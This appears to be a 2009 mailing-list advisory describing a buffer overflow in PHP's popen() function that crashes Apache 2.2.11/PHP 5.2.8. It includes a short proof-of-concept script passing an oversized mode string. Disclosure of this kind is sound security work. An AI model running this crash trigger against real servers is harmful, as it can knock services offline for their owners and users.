Related information

PHP popen() function buffer overflow

From:	ew1zz_(at)_hotmail.com <ew1zz_(at)_hotmail.com>
Date:	14.01.2009
Subject:	PHP Buffer Overflow(popen)

Apache 2.2.11/PHP 5.2.8 Buffer Overflow Exploit (popen func)

Type: Remote and Local

Requirements for exploit: popen() enabled.


By: e.wiZz!  Enes Muљić   ew1zz@hotmail.com


PHP Popen() function overview:

Popen function in php opens a pipe to a process executed by forking the command given by command.
It was implementet since PHP 4 version.
    popen ( string $command_to_execute , string $mode )

Second argument is vulnerable to buffer overflow.Reason why i mentioned Apache here,is because
when we execute poc.php Apache HTTP server crash without any report in error log.You can test on
WAMP too,on CLI or browser.


Tested on: PHP 5.2.8/4.2.1/4.2.0
          Apache 2.2.11


PoC:


<?php
$____buff=str_repeat("A",9999);
$handle = popen('/whatever/', $____buff);
echo $handle;
?>